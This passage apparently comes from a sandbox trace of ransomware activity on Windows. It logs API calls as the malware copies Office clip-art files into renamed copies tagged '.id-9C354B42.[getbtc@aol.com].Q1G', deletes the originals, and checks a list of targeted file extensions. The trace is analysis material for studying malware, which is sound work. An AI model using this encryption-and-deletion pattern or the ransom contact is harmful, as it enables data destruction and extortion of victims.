[0258.873] CloseHandle (hObject=0x360) returned 1 [0258.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf")) returned 0x20 [0258.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0258.874] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.874] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0258.874] GetLastError () returned 0x0 [0258.874] ReadFile (in: hFile=0x360, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x2c18, lpOverlapped=0x0) returned 1 [0258.892] WriteFile (in: hFile=0x3b4, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x2c20, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x2c20, lpOverlapped=0x0) returned 1 [0258.893] ReadFile (in: hFile=0x360, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.893] WriteFile (in: hFile=0x3b4, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0258.893] SetEndOfFile (hFile=0x3b4) returned 1 [0258.893] CloseHandle (hObject=0x3b4) returned 1 [0258.893] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.893] SetEndOfFile (hFile=0x360) returned 1 [0258.895] CloseHandle (hObject=0x360) returned 1 [0258.895] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.902] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf")) returned 1 [0258.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0258.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0258.932] lstrlenW (lpString=".doc") returned 4 [0258.932] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.932] lstrlenW (lpString=".docx") returned 5 [0258.932] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0258.932] lstrlenW (lpString=".pdf") returned 4 [0258.932] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.932] lstrlenW (lpString=".xls") returned 4 [0258.932] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.932] lstrlenW (lpString=".xlsx") returned 5 [0258.932] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0258.932] lstrlenW (lpString=".ppt") returned 4 [0258.932] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0258.932] lstrlenW (lpString=".zip") returned 4 [0258.932] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.932] lstrlenW (lpString=".rar") returned 4 [0258.933] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.933] lstrlenW (lpString=".bz2") returned 4 [0258.933] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.933] lstrlenW (lpString=".7z") returned 3 [0258.933] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0258.933] lstrlenW (lpString=".dbf") returned 4 [0258.933] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0258.933] lstrlenW (lpString=".1cd") returned 4 [0258.933] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0258.933] lstrlenW (lpString=".jpg") returned 4 [0258.933] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0258.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0258.933] lstrlenW (lpString=".doc") returned 4 [0258.933] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.933] lstrlenW (lpString=".docx") returned 5 [0258.933] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0258.933] lstrlenW (lpString=".pdf") returned 4 [0258.933] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.933] lstrlenW (lpString=".xls") returned 4 [0258.933] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.933] lstrlenW (lpString=".xlsx") returned 5 [0258.933] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0258.933] lstrlenW (lpString=".ppt") returned 4 [0258.933] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0258.933] lstrlenW (lpString=".zip") returned 4 [0258.933] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.933] lstrlenW (lpString=".rar") returned 4 [0258.933] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.933] lstrlenW (lpString=".bz2") returned 4 [0258.933] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.934] lstrlenW (lpString=".7z") returned 3 [0258.934] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0258.934] lstrlenW (lpString=".dbf") returned 4 [0258.934] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0258.934] lstrlenW (lpString=".1cd") returned 4 [0258.934] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0258.934] lstrlenW (lpString=".jpg") returned 4 [0258.934] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.934] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0258.934] lstrlenW (lpString="J0107364.WMF") returned 12 [0258.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0258.935] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=16588) returned 1 [0258.935] CloseHandle (hObject=0x3a0) returned 1 [0258.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf")) returned 0x20 [0258.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0258.935] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.936] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0258.936] GetLastError () returned 0x0 [0258.936] ReadFile (in: hFile=0x3a0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x40cc, lpOverlapped=0x0) returned 1 [0259.014] WriteFile (in: hFile=0x360, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x40d0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x40d0, lpOverlapped=0x0) returned 1 [0259.015] ReadFile (in: hFile=0x3a0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0259.015] WriteFile (in: hFile=0x360, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0259.015] SetEndOfFile (hFile=0x360) returned 1 [0259.016] CloseHandle (hObject=0x360) returned 1 [0259.016] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.016] SetEndOfFile (hFile=0x3a0) returned 1 [0259.018] CloseHandle (hObject=0x3a0) returned 1 [0259.018] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.018] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf")) returned 1 [0259.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0259.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0259.019] lstrlenW (lpString=".doc") returned 4 [0259.019] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.019] lstrlenW (lpString=".docx") returned 5 [0259.019] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0259.019] lstrlenW (lpString=".pdf") returned 4 [0259.019] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.019] lstrlenW (lpString=".xls") returned 4 [0259.019] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.019] lstrlenW (lpString=".xlsx") returned 5 [0259.019] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0259.019] lstrlenW (lpString=".ppt") returned 4 [0259.019] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0259.019] lstrlenW (lpString=".zip") returned 4 [0259.019] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.019] lstrlenW (lpString=".rar") returned 4 [0259.019] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.019] lstrlenW (lpString=".bz2") returned 4 [0259.019] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.019] lstrlenW (lpString=".7z") returned 3 [0259.019] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0259.019] lstrlenW (lpString=".dbf") returned 4 [0259.019] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0259.020] lstrlenW (lpString=".1cd") returned 4 [0259.020] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0259.020] lstrlenW (lpString=".jpg") returned 4 [0259.020] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0259.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0259.020] lstrlenW (lpString=".doc") returned 4 [0259.020] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.020] lstrlenW (lpString=".docx") returned 5 [0259.020] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0259.020] lstrlenW (lpString=".pdf") returned 4 [0259.020] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.020] lstrlenW (lpString=".xls") returned 4 [0259.020] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.020] lstrlenW (lpString=".xlsx") returned 5 [0259.020] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0259.020] lstrlenW (lpString=".ppt") returned 4 [0259.020] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0259.020] lstrlenW (lpString=".zip") returned 4 [0259.020] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.020] lstrlenW (lpString=".rar") returned 4 [0259.020] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.020] lstrlenW (lpString=".bz2") returned 4 [0259.020] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.020] lstrlenW (lpString=".7z") returned 3 [0259.020] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0259.020] lstrlenW (lpString=".dbf") returned 4 [0259.020] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0259.020] lstrlenW (lpString=".1cd") returned 4 [0259.020] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0259.021] lstrlenW (lpString=".jpg") returned 4 [0259.021] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.021] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0259.021] lstrlenW (lpString="J0107426.WMF") returned 12 [0259.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0259.021] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=11492) returned 1 [0259.021] CloseHandle (hObject=0x3a0) returned 1 [0259.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf")) returned 0x20 [0259.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0259.022] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.022] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0259.023] GetLastError () returned 0x0 [0259.023] ReadFile (in: hFile=0x3a0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x2ce4, lpOverlapped=0x0) returned 1 [0259.055] WriteFile (in: hFile=0x360, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x2cf0, lpOverlapped=0x0) returned 1 [0259.056] ReadFile (in: hFile=0x3a0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0259.056] WriteFile (in: hFile=0x360, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0259.056] SetEndOfFile (hFile=0x360) returned 1 [0259.056] CloseHandle (hObject=0x360) returned 1 [0259.056] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.056] SetEndOfFile (hFile=0x3a0) returned 1 [0259.058] CloseHandle (hObject=0x3a0) returned 1 [0259.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.059] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf")) returned 1 [0259.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0259.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0259.061] lstrlenW (lpString=".doc") returned 4 [0259.061] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.061] lstrlenW (lpString=".docx") returned 5 [0259.061] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0259.061] lstrlenW (lpString=".pdf") returned 4 [0259.061] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.061] lstrlenW (lpString=".xls") returned 4 [0259.061] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.061] lstrlenW (lpString=".xlsx") returned 5 [0259.061] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0259.061] lstrlenW (lpString=".ppt") returned 4 [0259.061] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0259.061] lstrlenW (lpString=".zip") returned 4 [0259.061] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.061] lstrlenW (lpString=".rar") returned 4 [0259.061] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.061] lstrlenW (lpString=".bz2") returned 4 [0259.061] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.061] lstrlenW (lpString=".7z") returned 3 [0259.061] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0259.061] lstrlenW (lpString=".dbf") returned 4 [0259.061] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0259.061] lstrlenW (lpString=".1cd") returned 4 [0259.061] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0259.061] lstrlenW (lpString=".jpg") returned 4 [0259.062] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0259.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0259.062] lstrlenW (lpString=".doc") returned 4 [0259.062] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.062] lstrlenW (lpString=".docx") returned 5 [0259.062] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0259.062] lstrlenW (lpString=".pdf") returned 4 [0259.062] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.062] lstrlenW (lpString=".xls") returned 4 [0259.062] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.062] lstrlenW (lpString=".xlsx") returned 5 [0259.062] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0259.062] lstrlenW (lpString=".ppt") returned 4 [0259.062] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0259.062] lstrlenW (lpString=".zip") returned 4 [0259.062] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.062] lstrlenW (lpString=".rar") returned 4 [0259.062] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.062] lstrlenW (lpString=".bz2") returned 4 [0259.062] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.062] lstrlenW (lpString=".7z") returned 3 [0259.062] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0259.062] lstrlenW (lpString=".dbf") returned 4 [0259.062] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0259.062] lstrlenW (lpString=".1cd") returned 4 [0259.062] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0259.062] lstrlenW (lpString=".jpg") returned 4 [0259.062] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.063] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0259.063] lstrlenW (lpString="J0107452.WMF") returned 12 [0259.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0259.518] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=21216) returned 1 [0259.518] CloseHandle (hObject=0x360) returned 1 [0259.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf")) returned 0x20 [0259.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, 